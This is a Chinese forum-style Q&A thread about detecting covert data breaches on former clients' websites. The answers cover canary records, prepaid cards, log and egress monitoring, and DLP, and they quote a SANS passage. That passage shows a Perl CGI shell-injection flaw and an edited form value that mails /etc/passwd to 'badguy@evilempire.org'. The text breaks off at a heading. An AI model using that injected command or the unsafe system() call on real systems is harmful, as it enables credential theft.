我是一个非常注重安全（近乎偏执）的自由 Web 开发人员，我非常重视与客户的安全性，唉，我发现对于普通的 Web 开发人员来说似乎并非如此。
最近困扰我的事情是，我通常将项目交给的人很可能不会注意到服务器是否受到威胁，除非攻击者破坏某些东西或做出其他“看我！ ”的手势。但是，如果攻击者悄悄地溜进溜出，窃取所有客户数据，他们就不会更明智了。所以，我的问题是有没有办法检测客户数据是否在不再参与项目的情况下被泄露？（没有IDS，访问日志等）
到目前为止，我所做的是在其中一些网站上使用地址和订单备注字段中的唯一字符串下订单，并使用单独的电子邮件地址——我已经设置了 Google 警报来搜索这些唯一字符串并电子邮件地址。
监视要发布的数据库中的记录实际上是您无需直接访问服务器就可以做的所有事情。您可以尝试自己对网站进行渗透测试以寻找漏洞，但这可能是不明智的，并且可能是非法的，具体取决于管辖权和网站的使用条款以及您在编写网站时可能承担的任何合同义务。
如果您真的担心，您可以简单地请求允许对前客户的网站进行定期渗透测试，以帮助确保他们的网站保持安全。如果您发现其中一个漏洞暴露，您可以将其报告给他们，以便他们可以修复它或让您来修复它。
虽然我还没有这样做 - 没有像以前那样签约 - 我计划获得一堆 25 美元 - 50 美元的预付签证卡，并在我参与的网站上使用它们。每个站点一张卡。
保留卡号，如果它被使用，您可以合理确定地知道他们的系统存在漏洞。
您需要提前设置一些东西来检测数据泄露。
日志监控特别重要，因为您的防火墙和可能的 netflow 也会记录流量。来自特定 IP 的特定 URL 是否有大量流量？也许他们正在通过 sql 注入或尝试排出信息。有人试图将数据复制到端口 22 上的某个外部机器上吗？出口过滤将捕获/阻止它。您是否最终以某种原因打开了端口 53 udp 并发现 scp 被阻止，他们通过该端口通过隧道传输出去？netflow 将接收 udp 53 上的大量流量。这只是密切关注您的网络的一部分。
行。有时感觉太安全是硬币的另一面。有点偏执实际上并不是一件坏事。
谈到您的问题，如果我在您的位置，我将采取以下步骤来降低风险水平：-
对*数据丢失防护*进行“需求分析” *考虑到它不是有权访问数据的 webapp 前端用户，而是可以滥用信任的特权用户可能会泄露个人的敏感/私人信息。基于数据丢失防护。摘录说：-
...“单独的检测控制是不够的。虽然检测控制可以提供可见性，但预防控制是减少意外和故意数据泄漏的必要条件。”
识别控制；牢记基本原则，即任何检测或纠正控制都应以“预防”的概念构建。例如，足够智能的检测控制可以快速检测错误行为并在发生错误时向管理员发送短信。考虑使用完整性检查软件，例如tripwire 或ossec。
定义严格的访问控制策略以限制攻击者的滥用或攻击面。
例子
一个很好的例子，但解释并补充了我在上面的讨论，尤其是关于手动代码测试的讨论。节选自《以攻为守》一文。SANS 列出了有关 Web 应用程序的输入控制弱点，如下所示：-
CGI 和底层应用程序也受到输入攻击。如果他们根据用户输入重写网页，他们就会受到 HTML 恶意标签的影响，如果他们没有足够的输入控制，他们就会受到变体（跨站点脚本、缓冲区溢出和 shell 攻击）的影响。
最常被引用的 CGI 安全漏洞示例涉及操纵 shell 程序执行一些意想不到的事情。下面的表格允许用户通过电子邮件将消息发送给指定的人。例如下面的 HTML 表单页面：
<INPUT TYPE="radio" NAME="send_to" VALUE="northcutt@sans.org">Stephen Northcutt<br>该过程的下一步是执行一个脚本，将消息写入一个临时文件，然后将该文件通过电子邮件发送到选定的地址。在 Perl 中，这可以通过以下命令完成：
System("/usr/lib/sendmail -t $send_to < $temp_file");
只要用户从给定的地址中进行选择，一切都会正常工作。然而，没有办法确定。因为 HTML 表单本身已经传输到用户的客户端机器上，所以可以编辑为：
<INPUT TYPE="radio" NAME="send_to" VALUE="northcutt@sans.org;mail badguy@evilempire.org</etc/passwd">Stephen<br>
一旦这个发送出去，原来的 sendmail 调用就会在分号处停止，系统会执行下一个命令。下一个命令会将密码文件邮寄给用户，然后用户可以对其进行解密并使用它来获得对服务器的登录访问权限。
检测此类攻击的 SANS 策略